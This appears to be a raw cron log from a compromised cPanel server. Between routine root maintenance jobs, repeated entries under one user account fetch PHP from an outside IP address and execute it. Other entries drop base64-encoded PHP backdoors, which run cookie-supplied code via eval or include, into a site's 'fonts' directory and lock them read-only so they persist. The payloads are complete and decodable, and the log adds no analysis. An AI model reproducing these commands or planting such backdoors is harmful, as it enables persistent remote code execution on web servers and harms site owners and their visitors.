Sep  8 17:30:02 ip-184-168-122-23 CROND[10460]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 17:30:02 ip-184-168-122-23 CROND[10462]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 17:30:02 ip-184-168-122-23 CROND[10463]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 17:30:02 ip-184-168-122-23 CROND[10461]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 17:31:01 ip-184-168-122-23 CROND[10943]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 17:31:01 ip-184-168-122-23 CROND[10942]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:31:01 ip-184-168-122-23 CROND[10944]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 17:31:01 ip-184-168-122-23 CROND[10947]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:31:01 ip-184-168-122-23 CROND[10948]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 17:32:01 ip-184-168-122-23 CROND[11412]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 17:32:01 ip-184-168-122-23 CROND[11413]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:32:01 ip-184-168-122-23 CROND[11417]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 17:32:01 ip-184-168-122-23 CROND[11415]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 17:32:01 ip-184-168-122-23 CROND[11416]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:33:01 ip-184-168-122-23 CROND[11915]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 17:33:01 ip-184-168-122-23 CROND[11916]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:33:01 ip-184-168-122-23 CROND[11918]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:33:01 ip-184-168-122-23 CROND[11919]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 17:34:01 ip-184-168-122-23 CROND[12396]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:34:01 ip-184-168-122-23 CROND[12398]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 17:34:01 ip-184-168-122-23 CROND[12397]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:34:02 ip-184-168-122-23 CROND[12399]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 17:34:02 ip-184-168-122-23 CROND[12400]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 17:35:01 ip-184-168-122-23 CROND[12792]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  8 17:35:02 ip-184-168-122-23 CROND[12798]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:35:02 ip-184-168-122-23 CROND[12799]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 17:35:02 ip-184-168-122-23 CROND[12800]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 17:35:02 ip-184-168-122-23 CROND[12801]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:35:02 ip-184-168-122-23 CROND[12802]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 17:35:02 ip-184-168-122-23 CROND[12804]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 17:35:02 ip-184-168-122-23 CROND[12803]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 17:36:01 ip-184-168-122-23 CROND[13346]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:36:01 ip-184-168-122-23 CROND[13348]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 17:36:01 ip-184-168-122-23 CROND[13353]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:36:01 ip-184-168-122-23 CROND[13351]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 17:36:01 ip-184-168-122-23 CROND[13352]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 17:37:01 ip-184-168-122-23 CROND[13817]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:37:01 ip-184-168-122-23 CROND[13819]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 17:37:01 ip-184-168-122-23 CROND[13818]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 17:37:01 ip-184-168-122-23 CROND[13820]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:38:01 ip-184-168-122-23 CROND[14308]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 17:38:01 ip-184-168-122-23 CROND[14312]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 17:38:01 ip-184-168-122-23 CROND[14315]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:38:01 ip-184-168-122-23 CROND[14316]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:38:01 ip-184-168-122-23 CROND[14317]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 17:39:01 ip-184-168-122-23 CROND[14783]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 17:39:01 ip-184-168-122-23 CROND[14785]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:39:01 ip-184-168-122-23 CROND[14784]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:39:01 ip-184-168-122-23 CROND[14786]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 17:39:01 ip-184-168-122-23 CROND[14787]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  8 17:40:01 ip-184-168-122-23 CROND[15167]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 17:40:01 ip-184-168-122-23 CROND[15169]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 17:40:01 ip-184-168-122-23 CROND[15170]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 17:40:01 ip-184-168-122-23 CROND[15173]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 17:40:01 ip-184-168-122-23 CROND[15174]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 17:40:01 ip-184-168-122-23 CROND[15171]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:40:01 ip-184-168-122-23 CROND[15175]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:40:01 ip-184-168-122-23 CROND[15172]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 17:41:01 ip-184-168-122-23 CROND[15514]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 17:41:01 ip-184-168-122-23 CROND[15516]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 17:41:01 ip-184-168-122-23 CROND[15515]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:41:01 ip-184-168-122-23 CROND[15518]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:42:01 ip-184-168-122-23 CROND[15978]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 17:42:01 ip-184-168-122-23 CROND[15981]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:42:01 ip-184-168-122-23 CROND[15980]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:42:01 ip-184-168-122-23 CROND[15983]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
